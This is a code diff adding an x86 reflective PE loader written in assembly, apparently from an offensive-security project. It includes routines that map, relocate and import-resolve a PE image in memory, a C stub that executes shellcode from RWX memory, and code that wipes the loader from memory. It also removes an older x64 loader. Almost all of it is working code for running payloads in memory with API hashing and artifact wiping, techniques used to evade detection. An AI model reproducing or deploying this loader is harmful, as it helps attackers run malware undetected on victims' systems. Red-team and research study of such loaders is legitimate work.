[esp+0x38],xmm0 +loc_408f52: lea edi,[esp+0x48] +loc_408f56: mov eax,0x0 +loc_408f5b: mov ecx,0x3d +loc_408f60: rep stosd +loc_408f62: vmovdqu [esp+0x13c],xmm0 +loc_408f6b: lea edi,[esp+0x14c] +loc_408f72: mov ecx,0x3d +loc_408f77: rep stosd +loc_408f79: cmp BYTE [ebx],0x2e +loc_408f7c: je loc_40902b +loc_408f82: mov esi,0x0 +loc_408f87: add esi,0x1 +loc_408f8a: mov eax,esi +loc_408f8c: cmp BYTE [ebx+esi*1],0x2e +loc_408f90: jne loc_408f87 +loc_408f92: lea edx,[esp+0x38] +loc_408f96: mov DWORD [esp+0x8],eax +loc_408f9a: mov DWORD [esp+0x4],ebx +loc_408f9e: mov DWORD [esp],edx +loc_408fa1: call memcpy +loc_408fa6: lea ecx,[ebx+esi*1+0x1] +loc_408faa: cmp BYTE [ecx],0x0 +loc_408fad: je loc_40903a +loc_408fb3: mov eax,0x0 +loc_408fb8: add esi,ebx +loc_408fba: add eax,0x1 +loc_408fbd: mov edx,eax +loc_408fbf: cmp BYTE [esi+eax*1+0x1],0x0 +loc_408fc4: jne loc_408fba +loc_408fc6: lea eax,[esp+0x13c] +loc_408fcd: mov DWORD [esp+0x8],edx +loc_408fd1: mov DWORD [esp+0x4],ecx +loc_408fd5: mov DWORD [esp],eax +loc_408fd8: call memcpy +loc_408fdd: lea eax,[esp+0x38] +loc_408fe1: mov DWORD [esp],eax +loc_408fe4: call load_module +loc_408fe9: mov ebx,eax +loc_408feb: mov eax,0x0 +loc_408ff0: test ebx,ebx +loc_408ff2: je loc_409023 +loc_408ff4: mov DWORD [esp+0x4],0x0 +loc_408ffc: lea eax,[esp+0x13c] +loc_409003: mov DWORD [esp],eax +loc_409006: call calc_crc +loc_40900b: mov DWORD [esp+0x8],0xffffffff +loc_409013: mov DWORD [esp+0x4],eax +loc_409017: mov DWORD [esp],ebx +loc_40901a: call get_proc_by_crc +loc_40901f: mov ebx,eax +loc_409021: mov eax,ebx +loc_409023: lea esp,[ebp-0xc] +loc_409026: pop ebx +loc_409027: pop esi +loc_409028: pop edi +loc_409029: pop ebp +loc_40902a: ret +loc_40902b: mov esi,0x0 +loc_409030: mov eax,0x0 +loc_409035: jmp loc_408f92 +loc_40903a: mov edx,0x0 +loc_40903f: jmp loc_408fc6 +loc_409041: mov eax,0x0 +loc_409046: jmp loc_409023 diff --git a/loader/loader-x86/inc/load_module.asm b/loader/loader-x86/inc/load_module.asm new file mode 100644 index 0000000..a746459 --- /dev/null +++ b/loader/loader-x86/inc/load_module.asm @@ -0,0 +1,58 @@ +[BITS 32] + + +load_module: +loc_40a08a: push edi +loc_40a08b: push ebx +loc_40a08c: sub esp,0x234 +loc_40a092: mov ebx,DWORD [esp+0x240] +loc_40a099: mov DWORD [esp+0x22c],0x0 +loc_40a0a4: lea edi,[esp+0x1c] +loc_40a0a8: mov ecx,0x82 +loc_40a0ad: mov eax,0x0 +loc_40a0b2: rep stosd +loc_40a0b4: cmp BYTE [ebx],0x0 +loc_40a0b7: je loc_40a14c +loc_40a0bd: mov edx,0x0 +loc_40a0c2: mov eax,edx +loc_40a0c4: add edx,0x1 +loc_40a0c7: cmp BYTE [ebx+edx*1],0x0 +loc_40a0cb: jne loc_40a0c2 +loc_40a0cd: add edx,edx +loc_40a0cf: mov WORD [esp+0x224],dx +loc_40a0d7: add edx,0x2 +loc_40a0da: mov WORD [esp+0x226],dx +loc_40a0e2: lea edx,[esp+0x1c] +loc_40a0e6: mov DWORD [esp+0x228],edx +loc_40a0ed: test eax,eax +loc_40a0ef: js loc_40a103 +loc_40a0f1: movsx dx,BYTE [ebx+eax*1] +loc_40a0f6: mov WORD [esp+eax*2+0x1c],dx +loc_40a0fb: sub eax,0x1 +loc_40a0fe: cmp eax,0xffffffff +loc_40a101: jne loc_40a0f1 +loc_40a103: lea eax,[esp+0x22c] +loc_40a10a: mov DWORD [esp+0xc],eax +loc_40a10e: lea eax,[esp+0x224] +loc_40a115: mov DWORD [esp+0x8],eax +loc_40a119: mov DWORD [esp+0x4],0x0 +loc_40a121: mov DWORD [esp],0x0 +loc_111111: push 0xB4EBB9A4 +loc_222222: call api_call +loc_xxxxxx: add esp,4 +loc_40a128: call eax +loc_40a12e: sub esp,0x10 +loc_40a131: test eax,eax +loc_40a133: js loc_40a145 +loc_40a135: mov eax,DWORD [esp+0x22c] +loc_40a13c: add esp,0x234 +loc_40a142: pop ebx +loc_40a143: pop edi +loc_40a144: ret +loc_40a145: mov eax,0x0 +loc_40a14a: jmp loc_40a13c +loc_40a14c: mov WORD [esp+0x224],0x0 +loc_40a156: mov WORD [esp+0x226],0x2 +loc_40a160: lea eax,[esp+0x1c] +loc_40a164: mov DWORD [esp+0x228],eax +loc_40a16b: jmp loc_40a103 diff --git a/loader/loader-x86/inc/map_image.asm b/loader/loader-x86/inc/map_image.asm new file mode 100644 index 0000000..dc9fce8 --- /dev/null +++ b/loader/loader-x86/inc/map_image.asm @@ -0,0 +1,67 @@ +[BITS 32] + + +map_image: +loc_401f00: push ebp +loc_401f01: push edi +loc_401f02: push esi +loc_401f03: push ebx +loc_401f04: sub esp,0x3c +loc_401f07: mov ebp,DWORD [esp+0x50] +loc_401f0b: mov edi,ebp +loc_401f0d: add edi,DWORD [ebp+0x3c] +loc_401f10: mov eax,0x0 +loc_401f15: cmp DWORD [edi],0x4550 +loc_401f1b: jne loc_401fcf +loc_401f21: mov DWORD [esp+0x2c],0x0 +loc_401f29: mov eax,DWORD [edi+0x50] +loc_401f2c: mov DWORD [esp+0x28],eax +loc_401f30: mov DWORD [esp+0x14],0x4 +loc_401f38: mov DWORD [esp+0x10],0x103000 +loc_401f40: lea eax,[esp+0x28] +loc_401f44: mov DWORD [esp+0xc],eax +loc_401f48: mov DWORD [esp+0x8],0x0 +loc_401f50: lea eax,[esp+0x2c] +loc_401f54: mov DWORD [esp+0x4],eax +loc_401f58: mov DWORD [esp],0xffffffff +loc_333333: push 0x99CE7C55 +loc_444444: call api_call +loc_yyyyyy: add esp,4 +loc_401f5f: call eax +loc_401f65: sub esp,0x18 +loc_401f68: mov edx,eax +loc_401f6a: mov eax,0x0 +loc_401f6f: test edx,edx +loc_401f71: js loc_401fcf +loc_401f73: mov eax,DWORD [edi+0x54] +loc_401f76: mov DWORD [esp+0x8],eax +loc_401f7a: mov DWORD [esp+0x4],ebp +loc_401f7e: mov eax,DWORD [esp+0x2c] +loc_401f82: mov DWORD [esp],eax +loc_401f85: call memcpy +loc_401f8a: movzx eax,WORD [edi+0x14] +loc_401f8e: lea ebx,[edi+eax*1+0x18] +loc_401f92: cmp WORD [edi+0x6],0x0 +loc_401f97: je loc_401fcb +loc_401f99: mov esi,0x0 +loc_401f9e: mov eax,DWORD [ebx+0xc] +loc_401fa1: add eax,DWORD [esp+0x2c] +loc_401fa5: mov edx,ebp +loc_401fa7: add edx,DWORD [ebx+0x14] +loc_401faa: mov ecx,DWORD [ebx+0x10] +loc_401fad: mov DWORD [esp+0x8],ecx +loc_401fb1: mov DWORD [esp+0x4],edx +loc_401fb5: mov DWORD [esp],eax +loc_401fb8: call memcpy +loc_401fbd: add esi,0x1 +loc_401fc0: add ebx,0x28 +loc_401fc3: movzx eax,WORD [edi+0x6] +loc_401fc7: cmp eax,esi +loc_401fc9: jg loc_401f9e +loc_401fcb: mov eax,DWORD [esp+0x2c] +loc_401fcf: add esp,0x3c +loc_401fd2: pop ebx +loc_401fd3: pop esi +loc_401fd4: pop edi +loc_401fd5: pop ebp +loc_401fd6: ret diff --git a/loader/loader-x86/inc/memcpy.asm b/loader/loader-x86/inc/memcpy.asm new file mode 100644 index 0000000..d065600 --- /dev/null +++ b/loader/loader-x86/inc/memcpy.asm @@ -0,0 +1,20 @@ +[BITS 32] + +; memcpy(&dst, &src, size) +memcpy: + push ebp + mov ebp, esp + push esi + push edi + push ecx + mov edi,[ebp+8] + mov esi,[ebp+12] + mov ecx,[ebp+16] +copy_byte: + rep movsb ; Copy the CX number of bytes from RSI to RDI + pop ecx + pop edi + pop esi + mov esp,ebp + pop ebp + ret ; Return \ No newline at end of file diff --git a/loader/loader-x86/inc/protect_sections.asm b/loader/loader-x86/inc/protect_sections.asm new file mode 100644 index 0000000..49e6d97 --- /dev/null +++ b/loader/loader-x86/inc/protect_sections.asm @@ -0,0 +1,106 @@ +[BITS 32] + +protect_sections: +loc_4057e8: push ebp +loc_4057e9: push edi +loc_4057ea: push esi +loc_4057eb: push ebx +loc_4057ec: sub esp,0x4c +loc_4057ef: mov ebp,DWORD [esp+0x60] +loc_4057f3: mov edi,ebp +loc_4057f5: add edi,DWORD [ebp+0x3c] +loc_4057f8: movzx eax,WORD [edi+0x14] +loc_4057fc: lea ebx,[edi+eax*1+0x18] +loc_405800: mov DWORD [esp+0x3c],0x0 +loc_405808: cmp WORD [edi+0x6],0x0 +loc_40580d: je loc_405840 +loc_40580f: mov esi,0x0 +loc_405814: mov ebp,edi +loc_405816: jmp loc_40591e +loc_40581b: mov BYTE [esp+0x2f],0x1 +loc_405820: jmp loc_405863 +loc_405822: mov edx,0x20 +loc_405827: jmp loc_4058ba +loc_40582c: mov eax,0x0 +loc_405831: jmp loc_405838 +loc_405833: mov eax,0x1 +loc_405838: add esp,0x4c +loc_40583b: pop ebx +loc_40583c: pop esi +loc_40583d: pop edi +loc_40583e: pop ebp +loc_40583f: ret +loc_405840: mov eax,0x1 +loc_405845: jmp loc_405838 +loc_405847: mov edi,eax +loc_405849: shr edi,0x1f +loc_40584c: mov BYTE [esp+0x2f],0x0 +loc_405851: test eax,0x20000000 +loc_405856: je loc_405892 +loc_405858: mov edx,0x10 +loc_40585d: mov ecx,edi +loc_40585f: test cl,cl +loc_405861: je loc_405897 +loc_405863: and eax,0x60000000 +loc_405868: mov edi,0x1 +loc_40586d: cmp eax,0x60000000 +loc_405872: mov edx,0x20 +loc_405877: mov eax,0x80 +loc_40587c: cmovne edx,eax +loc_40587f: jmp loc_4058a7 +loc_405881: test eax,0x20000000 +loc_405886: jne loc_40581b +loc_405888: mov BYTE [esp+0x2f],0x1 +loc_40588d: mov edx,0x4 +loc_405892: mov edi,0x0 +loc_405897: and eax,0x60000000 +loc_40589c: cmp eax,0x60000000 +loc_4058a1: je loc_405822 +loc_4058a7: cmp BYTE [esp+0x2f],0x0 +loc_4058ac: je loc_4058ba +loc_4058ae: mov eax,edi +loc_4058b0: test al,al +loc_4058b2: mov eax,0x40 +loc_4058b7: cmovne edx,eax +loc_4058ba: mov eax,DWORD [esp+0x60] +loc_4058be: mov ecx,DWORD [esp+0x28] +loc_4058c2: add eax,DWORD [ecx+0xc] +loc_4058c5: mov DWORD [esp+0x3c],eax +loc_4058c9: mov eax,DWORD [ecx+0x10] +loc_4058cc: mov DWORD [esp+0x34],eax +loc_4058d0: mov DWORD [esp+0x38],0x0 +loc_4058d8: lea eax,[esp+0x38] +loc_4058dc: mov DWORD [esp+0x10],eax +loc_4058e0: mov DWORD [esp+0xc],edx +loc_4058e4: lea eax,[esp+0x34] +loc_4058e8: mov DWORD [esp+0x8],eax +loc_4058ec: lea eax,[esp+0x3c] +loc_4058f0: mov DWORD [esp+0x4],eax +loc_4058f4: mov DWORD [esp],0xffffffff +loc_555555: push 0x6EDE4D41 +loc_666666: call api_call +loc_zzzzzz: add esp,4 +loc_4058fb: call eax +loc_405901: sub esp,0x14 +loc_405904: test eax,eax +loc_405906: js loc_40582c +loc_40590c: add esi,0x1 +loc_40590f: add ebx,0x28 +loc_405912: movzx eax,WORD [ebp+0x6] +loc_405916: cmp eax,esi +loc_405918: jle loc_405833 +loc_40591e: mov DWORD [esp+0x28],ebx +loc_405922: mov eax,DWORD [ebx+0x24] +loc_405925: test eax,eax +loc_405927: je loc_40590c +loc_405929: cdq +loc_40592a: and edx,0xffffffc8 +loc_40592d: add edx,0x40 +loc_405930: test eax,0x40000000 +loc_405935: je loc_405847 +loc_40593b: test eax,eax +loc_40593d: js loc_405881 +loc_405943: mov edi,0x0 +loc_405948: mov BYTE [esp+0x2f],0x1 +loc_40594d: mov edx,0x2 +loc_405952: jmp loc_405851 diff --git a/loader/loader-x86/inc/relocate_image.asm b/loader/loader-x86/inc/relocate_image.asm new file mode 100644 index 0000000..71bbb97 --- /dev/null +++ b/loader/loader-x86/inc/relocate_image.asm @@ -0,0 +1,57 @@ +[BITS 32] + + +relocate_image: +loc_403055: push ebp +loc_403056: push edi +loc_403057: push esi +loc_403058: push ebx +loc_403059: mov ebp,DWORD [esp+0x14] +loc_40305d: mov ebx,ebp +loc_40305f: add ebx,DWORD [ebp+0x3c] +loc_403062: mov edx,DWORD [ebx+0xa0] +loc_403068: mov eax,0x0 +loc_40306d: test edx,edx +loc_40306f: je loc_4030d3 +loc_403071: add edx,ebp +loc_403073: mov esi,ebp +loc_403075: sub esi,DWORD [ebx+0x34] +loc_403078: cmp DWORD [edx],0x0 +loc_40307b: jne loc_4030be +loc_40307d: mov eax,0x1 +loc_403082: jmp loc_4030d3 +loc_403084: movzx ecx,WORD [eax] +loc_403087: and ecx,0xfff +loc_40308d: add ecx,DWORD [edx] +loc_40308f: add DWORD [ebp+ecx*1+0x0],esi +loc_403093: add eax,0x2 +loc_403096: mov ecx,edx +loc_403098: add ecx,DWORD [edx+0x4] +loc_40309b: cmp eax,ecx +loc_40309d: je loc_4030b7 +loc_40309f: movzx ecx,BYTE [eax+0x1] +loc_4030a3: mov edi,ecx +loc_4030a5: and edi,0xfffffff0 +loc_4030a8: mov ebx,edi +loc_4030aa: cmp bl,0x30 +loc_4030ad: je loc_403084 +loc_4030af: cmp cl,0xf +loc_4030b2: jbe loc_403093 +loc_4030b4: int3 +loc_4030b5: jmp loc_403093 +loc_4030b7: mov edx,eax +loc_4030b9: cmp DWORD [edx],0x0 +loc_4030bc: je loc_4030ce +loc_4030be: lea eax,[edx+0x8] +loc_4030c1: mov ecx,edx +loc_4030c3: add ecx,DWORD [edx+0x4] +loc_4030c6: cmp eax,ecx +loc_4030c8: jne loc_40309f +loc_4030ca: mov edx,ecx +loc_4030cc: jmp loc_4030b9 +loc_4030ce: mov eax,0x1 +loc_4030d3: pop ebx +loc_4030d4: pop esi +loc_4030d5: pop edi +loc_4030d6: pop ebp +loc_4030d7: ret diff --git a/loader/loader-x86/inc/resolve_imports.asm b/loader/loader-x86/inc/resolve_imports.asm new file mode 100644 index 0000000..2297b8c --- /dev/null +++ b/loader/loader-x86/inc/resolve_imports.asm @@ -0,0 +1,77 @@ +[BITS 32] + + +resolve_imports: +loc_4042ff: push ebp +loc_404300: push edi +loc_404301: push esi +loc_404302: push ebx +loc_404303: sub esp,0x2c +loc_404306: mov ebp,DWORD [esp+0x40] +loc_40430a: mov eax,DWORD [ebp+0x3c] +loc_40430d: mov edx,DWORD [ebp+eax*1+0x80] +loc_404314: mov eax,0x0 +loc_404319: test edx,edx +loc_40431b: je loc_4043d5 +loc_404321: lea eax,[ebp+edx*1+0x0] +loc_404325: mov DWORD [esp+0x1c],eax +loc_404329: mov eax,DWORD [eax+0xc] +loc_40432c: test eax,eax +loc_40432e: jne loc_4043a4 +loc_404330: mov eax,0x1 +loc_404335: jmp loc_4043d5 +loc_40433a: mov DWORD [esp+0x8],eax +loc_40433e: mov DWORD [esp+0x4],0x0 +loc_404346: mov DWORD [esp],edi +loc_404349: call get_proc_by_crc +loc_40434e: test eax,eax +loc_404350: je loc_404354 +loc_404352: mov DWORD [esi],eax +loc_404354: add ebx,0x4 +loc_404357: add esi,0x4 +loc_40435a: mov eax,DWORD [ebx] +loc_40435c: test eax,eax +loc_40435e: je loc_404394 +loc_404360: test eax,eax +loc_404362: js loc_40433a +loc_404364: mov DWORD [esp+0x4],0x0 +loc_40436c: lea eax,[ebp+eax*1+0x2] +loc_404370: mov DWORD [esp],eax +loc_404373: call calc_crc +loc_404378: mov DWORD [esp+0x8],0xffffffff +loc_404380: mov DWORD [esp+0x4],eax +loc_404384: mov DWORD [esp],edi +loc_404387: call get_proc_by_crc +loc_40438c: test eax,eax +loc_40438e: je loc_404354 +loc_404390: mov DWORD [esi],eax +loc_404392: jmp loc_404354 +loc_404394: add DWORD [esp+0x1c],0x14 +loc_404399: mov eax,DWORD [esp+0x1c] +loc_40439d: mov eax,DWORD [eax+0xc] +loc_4043a0: test eax,eax +loc_4043a2: je loc_4043c9 +loc_4043a4: add eax,ebp +loc_4043a6: mov DWORD [esp],eax +loc_4043a9: call load_module +loc_4043ae: mov edi,eax +loc_4043b0: test eax,eax +loc_4043b2: je loc_4043d0 +loc_4043b4: mov eax,DWORD [esp+0x1c] +loc_4043b8: mov ebx,ebp +loc_4043ba: add ebx,DWORD [eax] +loc_4043bc: mov esi,ebp +loc_4043be: add esi,DWORD [eax+0x10] +loc_4043c1: mov eax,DWORD [ebx] +loc_4043c3: test eax,eax +loc_4043c5: jne loc_404360 +loc_4043c7: jmp loc_404394 +loc_4043c9: mov eax,0x1 +loc_4043ce: jmp loc_4043d5 +loc_4043d0: mov eax,0x0 +loc_4043d5: add esp,0x2c +loc_4043d8: pop ebx +loc_4043d9: pop esi +loc_4043da: pop edi +loc_4043db: pop ebp +loc_4043dc: ret diff --git a/loader/loader-x86/inc/run_tls_callbacks.asm b/loader/loader-x86/inc/run_tls_callbacks.asm new file mode 100644 index 0000000..d8ef97f --- /dev/null +++ b/loader/loader-x86/inc/run_tls_callbacks.asm @@ -0,0 +1,32 @@ +[BITS 32] + + +run_tls_callbacks: +loc_406cdf: push esi +loc_406ce0: push ebx +loc_406ce1: sub esp,0x14 +loc_406ce4: mov esi,DWORD [esp+0x20] +loc_406ce8: mov eax,DWORD [esi+0x3c] +loc_406ceb: mov edx,DWORD [esi+eax*1+0xc0] +loc_406cf2: mov eax,0x0 +loc_406cf7: test edx,edx +loc_406cf9: je loc_406d08 +loc_406cfb: mov ebx,DWORD [esi+edx*1+0xc] +loc_406cff: mov eax,0x1 +loc_406d04: test ebx,ebx +loc_406d06: jne loc_406d29 +loc_406d08: add esp,0x14 +loc_406d0b: pop ebx +loc_406d0c: pop esi +loc_406d0d: ret +loc_406d0e: mov DWORD [esp+0x8],0x0 +loc_406d16: mov DWORD [esp+0x4],0x1 +loc_406d1e: mov DWORD [esp],esi +loc_406d21: call eax +loc_406d23: sub esp,0xc +loc_406d26: add ebx,0x4 +loc_406d29: mov eax,DWORD [ebx] +loc_406d2b: test eax,eax +loc_406d2d: jne loc_406d0e +loc_406d2f: mov eax,0x1 +loc_406d34: jmp loc_406d08 diff --git a/loader/loader-x86/loader-x86-lite.asm b/loader/loader-x86/loader-x86-lite.asm new file mode 100644 index 0000000..222395f --- /dev/null +++ b/loader/loader-x86/loader-x86-lite.asm @@ -0,0 +1,49 @@ +;#===========================================# +;# x86 Reflective Loader # +;# Author: Ege Balcı # +;# Version: 3.0 # +;#===========================================# + +[BITS 32] + +%define e_lfanew 0x3C +%define _AddressOfEntry 0x28 +loader_size equ pe_start-loader + + + call loader ; Start by calling over the PE image +loader: + pop esi ; Get current address into esi + add esi, loader_size ; Add the loader size + push ebp ; Save EBP + mov ebp,esp ; Create a stack frame + push esi ; Push the PE address as first parameter + call map_image ; Perform PE image mapping + pop esi ; Pop out the PE address + push eax ; Push new image baes to stack + call relocate_image ; Perform image relocation + call resolve_imports ; Resolve image imports & create IAT table + call protect_sections ; Apply proper section memory protections + call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯ + pop edi ; Get the new image base value into edi + mov eax,[edi+e_lfanew] ; Get the file header offset + mov eax,[edi+eax+_AddressOfEntry] ; Get the AddressOfEntry into eax + add eax,edi ; Add the AOE onto new image base + cld ; Clear direction flags + mov esp, ebp ; Restore stack frame + pop ebp ; Restore RBP + jmp eax ; Jmp to the PE->AOE + ; ------------------------ FUNCTIONS ------------------------------------ + %include "./inc/memcpy.asm" + %include "./inc/calc_crc.asm" + %include "./inc/map_image.asm" + %include "./inc/load_module.asm" + %include "./inc/relocate_image.asm" + %include "./inc/resolve_imports.asm" + %include "./inc/get_proc_by_crc.asm" + %include "./inc/get_module_by_crc.asm" + %include "./inc/protect_sections.asm" + %include "./inc/run_tls_callbacks.asm" + %include "../crc32_api/crc32_api_x86.asm" + ;------------------------ FUNCTIONS ------------------------------------- +pe_start: \ No newline at end of file diff --git a/loader/loader-x86/loader-x86.asm b/loader/loader-x86/loader-x86.asm new file mode 100644 index 0000000..2d7645a --- /dev/null +++ b/loader/loader-x86/loader-x86.asm @@ -0,0 +1,59 @@ +;#===========================================# +;# x86 Reflective Loader # +;# Author: Ege Balcı # +;# Version: 3.0 # +;#===========================================# + +[BITS 32] + +%define e_lfanew 0x3C +%define _AddressOfEntry 0x28 + +end_wipe: + call start ; Start by calling over the PE image + incbin "putty.exe" ; PE image +start: + pop esi ; Get the PE address into esi + push ebp ; Save EBP + mov ebp,esp ; Create a stack frame + push esi ; Push the PE address as first parameter + call map_image ; Perform PE image mapping + pop esi ; Pop out the PE address + push eax ; Push new image baes to stack + call relocate_image ; Perform image relocation + call resolve_imports ; Resolve image imports & create IAT table + call protect_sections ; Apply proper section memory protections + call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯ + pop edi ; Get the new image base value into edi + mov eax,[edi+e_lfanew] ; Get the file header offset + mov eax,[edi+eax+_AddressOfEntry] ; Get the AddressOfEntry into eax + add eax,edi ; Add the AOE onto new image base + jmp wipe ; Wipe memory artifacts + ; ------------------------ FUNCTIONS ------------------------------------ + %include "./inc/memcpy.asm" + %include "./inc/calc_crc.asm" + %include "./inc/map_image.asm" + %include "./inc/load_module.asm" + %include "./inc/relocate_image.asm" + %include "./inc/resolve_imports.asm" + %include "./inc/get_proc_by_crc.asm" + %include "./inc/get_module_by_crc.asm" + %include "./inc/protect_sections.asm" + %include "./inc/run_tls_callbacks.asm" + %include "../crc32_api/crc32_api_x86.asm" + ;------------------------ FUNCTIONS ------------------------------------- +wipe: + wipe_len_delta equ wipe_end-wipe + call $+5 ; Get current EIP to stack + pop ecx ; Pop currect EIP to RCX + sub ecx,esi ; Calculate the size of the PE file + add ecx,wipe_len_delta ; Add the size of wipe code + mov edi,esi ; Move the PE address to RDI + sub edi,0x5 ; Go back 5 bytes for wiping the initial call as well +wipe_end: + rep stosb ; Store AL into RDI and decrement RDI until RCX = 0 + ; -------------------- SWITCH TO PE ---------------------------- + cld ; Clear direction flags + mov esp, ebp ; Restore stack frame + pop ebp ; Restore RBP + jmp eax ; Jmp to the PE->AOE \ No newline at end of file diff --git a/loader/loader-x86/stub.c b/loader/loader-x86/stub.c new file mode 100755 index 0000000..151a4ad --- /dev/null +++ b/loader/loader-x86/stub.c @@ -0,0 +1,10 @@ +#include +#include "shellcode.h" + +int main(int argc, char const *argv[]) +{ + char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(BUFFER, shellcode, sizeof(shellcode)); + (*(void(*)())BUFFER)(); + return 0; +} diff --git a/loader/loader_x64.asm b/loader/loader_x64.asm deleted file mode 100644 index a022ff1..0000000 --- a/loader/loader_x64.asm +++ /dev/null @@ -1,168 +0,0 @@ -;#==============================================# -;# X64 Reflective Loader # -;# Author: Ege Balcı # -;# Version: 2.0 # -;#==============================================# -; -[BITS 64] - - - call start ; Get the address of pre-mapped PE image to stack - incbin "pemap.bin" ; Pre-mapped PE image -start: - pop rsi ; Get the address of image to rsi - call $+5 ; Push the current RIP value to stack - cld ; Clear direction flags - sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0] - mov rbp,rsp ; Copy current stack address to rbp - and rbp,-0x1000 ; Create a new shadow stack address - mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax - mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx - mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12 - mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE - mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE - mov rdx,[rsp] ; dwSize - xor rcx,rcx ; lpAddress - xchg rsp,rbp ; Swap shadow stack - mov r10d,0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc") - call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) - xchg rsp,rbp ; Swap shadow stack - mov rdi,rax ; Save the new base address to rdi - xor rax,rax ; Zero out the RAX - xor r8,r8 ; Zero out the R8 - xor r13,r13 ; Zero out the R13 - xor r14,r14 ; Zero out the R14 - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size - mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA - add rax,rsi ; Base relocation table memory address - add rcx,rax ; End of base relocation table -calc_delta: - mov rdx,rdi ; Move the new base address to rdx - sub rdx,rbx ; Delta value - mov r13d,dword [rax] ; Move the reloc RVA to R13D - mov r14d,dword [rax+4] ; Move the reloc table size to R14D - add rax,8 ; Move to the reloc descriptor - jmp fix ; Start fixing -get_rva: - cmp rcx,rax ; Check if the end of the reloc section - jle reloc_fin ; If yes goto fin - mov r13d,dword [rax] ; Move the new reloc RVA - mov r14d,dword [rax+4] ; Move the new reloc table size - add rax,8 ; Move 8 bytes -fix: - cmp r14w,8 ; Check if the end of the reloc block - jz get_rva ; If yes set the next block RVA - mov r8w,word [rax] ; Move the reloc desc to r8w - cmp r8w,0 ; Check if it is a padding word - je pass ; Pass padding bytes - and r8w,0x0FFF ; Get the last 12 bits - add r8d,r13d ; Add block RVA to desc value - add r8,rsi ; Add the start address of the image - add [r8],rdx ; Add the delta value to calculated absolute address -pass: - sub r14d,2 ; Decrease the index - add rax,2 ; Move to the next reloc desc. - xor r8,r8 ; Zero out r8 - jmp fix ; Loop -reloc_fin: ; All done ! - xor r14,r14 ; Zero out r14 - xor r15,r15 ; Zero out r15 - xor rcx,rcx ; Zero out rcx - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,dword [rax+rsi+0x90] ; Import table RVA - add rax,rsi ; Import table memory address (first image import descriptor) - push rax ; Save import descriptor to stack -get_modules: - cmp dword [rax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax - add rcx,rsi ; Get the dll name address - call LoadLibraryA ; Load the library - mov r13,rax ; Move the dll handle to R13 - mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [rsp],0x14 ; Move to the next import descriptor - mov rax,[rsp] ; Set the new import descriptor address to eax - jmp get_modules ; Get other modules -get_procs: - mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA - add r14,rsi ; Get the IAT memory address - mov rax,[rax] ; Set the import names table RVA to eax - add rax,rsi ; Get the current import descriptor's import names table address - mov r15,rax ; Save &INT to R15 -resolve: - cmp dword [rax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov rax,[rax] ; Get the RVA of function hint to eax - btr rax,0x3F ; Check if the high order bit is set - jnc name_resolve ; If high order bit is not set resolve with INT entry - shl rax,2 ; Discard the high bit by shifting - shr rax,2 ; Shift back the original value - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add rax,rsi ; Set the address of function hint - add rax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov [r14],rax ; Insert the function address to IAT - add r14,8 ; Increase the IAT index - add r15,8 ; Increase the import names table index - mov rax,r15 ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov qword [r14],0 ; Insert a NULL qword - ret ; <- -LoadLibraryA: - xchg rbp,rsp ; Swap shadow stack - mov r10d,0xE2E6A091 ; crc32("KERNEL32.DLL", "LoadLibraryA") - call api_call ; LoadLibraryA(RCX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -GetProcAddress: - xchg rbp,rsp ; Swap shadow stack - mov rcx,r13 ; Move the module handle to RCX as first parameter - mov rdx,rax ; Move the address of function name string to RDX as second parameter - mov r10d,0xA18B0B38 ; crc32("KERNEL32.DLL", "GetProcAddress") - call api_call ; GetProcAddress(ebx,[esp+4]) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -complete: - pop rax ; Clean out the stack - pop rcx ; Pop the ImageSize into RCX - push rdi ; Save ImageBase to stack - mov r13,rdi ; Copy the new base value to r13 - add r13,r12 ; Add the address of entry value to new base address -memcpy: - mov al,[rsi] ; Move 1 byte of PE image to AL register - mov byte [rdi],al ; Move 1 byte of PE image to image base - mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint) - inc rsi ; Increase PE image index - inc rdi ; Increase image base index - loop memcpy ; Loop until zero - ; Flush instruction cache - pop r13 ; Pop the image base to r13 - or rcx,-1 ; hProcess - xor rdx,rdx ; lpBaseAddress - xor r8,r8 ; hProcess - xchg rbp,rsp ; Swap shadow stack - mov r10d,0x975B539E ; crc32("KERNEL32.dll", "FlushInstructionCache") - call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL); - xchg rbp,rsp ; Swap shadow stack - add r13,r12 ; Add the address of entry value to image base - jmp PE_start ; Wipe artifacts from memory and start PE - -; ========== API ========== -%include "CRC32_API/x64_crc32_api.asm" - -PE_start: - mov rcx,wipe ; Get the number of bytes until wipe label - lea rax,[rip] ; Get RIP to RAX - nop ; Padding -wipe: - mov byte [rax],0 ; Wipe 1 byte at a time - dec rax ; Decraise RAX - loop wipe ; Loop until RCX = 0 - jmp r13 ; Call the AOE - \ 